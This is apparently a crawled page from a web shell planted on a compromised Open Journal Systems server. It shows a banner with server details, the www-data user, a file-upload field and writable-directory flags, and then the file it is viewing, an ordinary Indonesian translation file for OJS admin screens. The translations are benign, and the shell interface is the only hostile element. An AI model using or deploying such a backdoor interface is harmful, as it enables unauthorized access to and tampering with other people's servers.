KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/id_ID/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/locale/id_ID/admin.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T10:49:25+00:00\n"
"PO-Revision-Date: 2020-02-04 12:33+0000\n"
"Last-Translator: Fransisca H <[email protected]>\n"
"Language-Team: Indonesian <http://translate.pkp.sfu.ca/projects/ojs/admin/id/"
">\n"
"Language: id_ID\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "admin.hostedContexts"
msgstr "Jurnal yang Dikelola"

msgid "admin.settings.redirect"
msgstr "Pengalihan Jurnal"

msgid "admin.settings.redirectInstructions"
msgstr "Permintaan ke situs utama akan dialihkan ke jurnal ini. Hal ini berguna jika hanya ada satu jurnal yang dikelola."

msgid "admin.languages.confirmDisable"
msgstr "Anda yakin hendak menonaktifkan bahasa ini? Hal ini dapat mempengaruhi semua jurnal yang menggunakannya."

msgid "admin.languages.downloadUnavailable"
msgstr ""
"<p>Saat ini tidak dapat mengunduh paket bahasa dari server web Public "
"Knowledge Project karena:</p>\n"
"\t<ul>\n"
"\t\t<li>Server Anda tidak memiliki atau tidak mengijinkan eksekusi piranti "
"lunak GNU \"tar\".</li>\n"
"\t\t<li>OJS tidak dapat mengubah file register bahasa, biasanya ada di \""
"registry/locales.xml\".</li>\n"
"\t</ul>\n"
"<p>Paket bahasa dapat diunduh secara manual dari <a href=\"http://pkp.sfu."
"ca\">Situs PKP</a>.</p>"

msgid "admin.languages.primaryLocaleInstructions"
msgstr ""
"Bahasa ini akan menjadi bahasa default untuk situs dan setiap jurnal yang "
"dikelola di situs ini."

msgid "admin.languages.supportedLocalesInstructions"
msgstr ""
"Pilih bahasa yang akan didukung situs ini. Bahasa yang dipilih akan dapat "
"digunakan oleh semua jurnal yang dikelola situs ini, dan juga akan tampil "
"dalam menu pilihan bahasa di setiap halaman situs (yang dapat diganti pada "
"halaman yang spesifik untuk jurnal tertentu).  Jika hanya ada satu bahasa, "
"menu pilihan bahasa tidak akan muncul."

msgid "admin.locale.maybeIncomplete"
msgstr "Bahasa yang diberi tanda kemungkinan masih belum lengkap."

msgid "admin.languages.confirmUninstall"
msgstr ""
"Anda yakin ingin membatalkan instalasi bahasa ini? Hal ini akan mempengaruhi "
"jurnal yang sedang menggunakannya."

msgid "admin.languages.installNewLocalesInstructions"
msgstr "Pilih bahasa tambahan untuk diinstal dalam sistem ini. Bahasa harus diinstal sebelum dapat digunakan oleh jurnal."

msgid "admin.languages.downloadFailed"
msgstr "Pengunduhan bahasa gagal. Berikut ini catatan terkait kegagalan unduhan tersebut."

msgid "admin.languages.localeInstalled"
msgstr "\"{$locale}\" telah diinstal."

msgid "admin.languages.download"
msgstr "Unduh Bahasa"

msgid "admin.languages.download.cannotOpen"
msgstr "Tidak bisa membuka deskriptor bahasa dari website PKP."

msgid "admin.languages.download.cannotModifyRegistry"
msgstr "Tidak bisa menambah bahasa baru pada file register bahasa, biasanya \"registry/locales.xml\"."

msgid "admin.auth.ojs"
msgstr "Database Pengguna OJS"

msgid "admin.auth.enableSyncProfiles"
msgstr "Aktifkan sinkronisasi profil pengguna (jika didukung oleh plugin otentikasi ini). Informasi profil pengguna akan diperbarui secara otomatis dari sumber luar ketika pengguna login, dan semua perubahan profil (termasuk perubahan kata sandi) yang dibuat dalam OJS secara otomatis akan diperbarui pada sumber otentikasi tersebut. Jika opsi ini tidak diaktifkan, informasi profil OJS akan disimpan secara terpisah dari informasi profil sumber luar tersebut."

msgid "admin.auth.enableSyncPasswords"
msgstr "Aktifkan modifikasi kata sandi pengguna (jika didukung oleh plugin otentikasi ini). Mengaktifkan opsi ini memungkinkan pengguna mengubah kata sandi mereka melalui OJS dan untuk menggunakan fitur OJS \"kehilangan kata sandi\" untuk mereset kata sandi yang terlupa. Fungsi-fungsi ini tidak akan tersedia bagi pengguna dalam sumber otentikasi ini jika opsi ini tidak diaktifkan."

msgid "admin.auth.enableCreateUsers"
msgstr "Aktifkan pembuatan pengguna (jika didukung oleh plugin otentikasi ini). Pengguna yang dibuat di OJS dengan sumber otentikasi ini secara otomatis ditambahkan pada sumber otentikasi luar jika memang belum ada. Jika sumber ini menjadi sumber otentikasi default, akun OJS yang dibuat melalui registrasi pengguna juga akan ditambahkan ke sumber otentikasi tersebut."

msgid "admin.systemVersion"
msgstr "Versi OJS"

msgid "admin.systemConfiguration"
msgstr "Konfigurasi OJS"

msgid "admin.systemConfigurationDescription"
msgstr "Konfigurasi OJS dari <tt>config.inc.php</tt>."

msgid "admin.journals.createInstructions"
msgstr "Secara otomatis Anda akan terdaftar sebagai manajer jurnal ini. Setelah membuat jurnal baru, Anda akan dialihkan ke panduan pengaturan jurnal untuk menyelesaikan pengaturan awal."

msgid "admin.journals.journalSettings"
msgstr "Pengaturan Jurnal"

msgid "admin.journals.noneCreated"
msgstr "Belum ada jurnal yang dibuat."

msgid "admin.contexts.confirmDelete"
msgstr "Apakah Anda yakin ingin menghapus jurnal ini dan seluruh isinya secara permanen?"

msgid "admin.contexts.create"
msgstr "Buat Jurnal"

msgid "admin.journals.urlWillBe"
msgstr ""
"Ini diisi dengan satu kata atau singkatan yang mengidentifikasi jurnal. URL "
"jurnal akan menjadi {$sampleUrl}."

msgid "admin.contexts.form.titleRequired"
msgstr "Perlu judul."

msgid "admin.contexts.form.pathRequired"
msgstr "Perlu path."

msgid "admin.contexts.form.pathAlphaNumeric"
msgstr ""
"Path hanya dapat berisi huruf, angka dan karakter garis bawah _, dan tanda "
"hubung -. Wajib diawali dan diakhiri dengan huruf atau angka."

msgid "admin.contexts.form.pathExists"
msgstr "Path sudah digunakan oleh jurnal lainnya."

msgid "admin.journals.enableJournalInstructions"
msgstr "Tampilkan jurnal kepada publik di situs"

msgid "admin.contexts.contextDescription"
msgstr "Deskripsi Jurnal"

msgid "admin.journal.pathImportInstructions"
msgstr ""
"Path jurnal yang sudah ada atau path yang hendak dibuat (contoh: \"ojs\")."

msgid "admin.journals.importSubscriptions"
msgstr "Impor langganan"

msgid "admin.journals.transcode"
msgstr "Transcode metadata naskah dari ISO8859-1"

msgid "admin.journals.redirect"
msgstr "Buat kode untuk memetakan URL OJS 1 ke OJS 2"

msgid "admin.journals.form.importPathRequired"
msgstr "Perlu path impor."

msgid "admin.journals.importErrors"
msgstr "Impor gagal"

msgid "admin.mergeUsers"
msgstr "Gabungkan Beberapa Pengguna"

msgid "admin.mergeUsers.mergeUser"
msgstr "Gabungkan Pengguna"

msgid "admin.mergeUsers.into.description"
msgstr "Pilih pengguna yang akan memperoleh hak kepenulisan pengguna sebelumnya, tugas pengeditan, dll."

msgid "admin.mergeUsers.from.description"
msgstr ""
"Pilih pengguna (atau beberapa pengguna) untuk digabungkan ke akun pengguna "
"lainnya (contoh, ketika seseorang mempunyai dua akun). Akun yang pertama "
"dipilih akan dihapus dan semua naskah, penugasan, dll akan dialihkan ke akun "
"kedua."

msgid "admin.mergeUsers.allUsers"
msgstr "Semua Pengguna yang Terdaftar"

msgid "admin.mergeUsers.confirm"
msgstr ""
"Anda yakin hendak menggabungkan akun {$oldAccountCount} ke dalam akun \""
"{$newUsername}\"? Akun {$oldAccountCount} akan dihapus. Tindakan ini tidak "
"dapat dibatalkan."

msgid "admin.mergeUsers.noneEnrolled"
msgstr "Tidak ada pengguna yang terdaftar."

msgid "admin.scheduledTask.subscriptionExpiryReminder"
msgstr "Pengingat Masa Berakhir Langganan"

msgid "admin.scheduledTask.openAccessNotification"
msgstr "Pemberitahuan Akses Terbuka"

msgid "admin.scheduledTask.reviewReminder"
msgstr "Pengingat Review"

msgid "admin.settings.defaultMetricDescription"
msgstr ""
"\n"
"\t\tInstalasi OJS Anda diatur untuk direkam lebih dari satu metrik "
"pemakaian. Satistik pemakaian akan ditampilkan dalam beberapa konteks.\n"
"\t\tTerdapat kasus di mana hanya satu statistik pemakaian yang harus "
"digunakan, misalnya, untuk menampilkan urutan artikel yang paling sering "
"digunakan atau untuk mengurutkan\n"
"\t\thasil pencarian. Silakan pilih salah satu jenis metrik sebagai bawaan.\n"
"\t"

msgid "admin.settings.info.success"
msgstr "Informasi situs telah berhasil diperbarui."

msgid "admin.settings.config.success"
msgstr "Pengaturan konfigurasi situs telah berhasil diperbarui."

msgid "admin.settings.appearance.success"
msgstr "Pengaturan tampilan situs telah berhasil diperbarui."

msgid "admin.contexts.form.edit.success"
msgstr "{$name} telah berhasil disunting."

msgid "admin.contexts.form.create.success"
msgstr "{$name} telah berhasil dibuat."

KUNTUL | JINGKONTOT |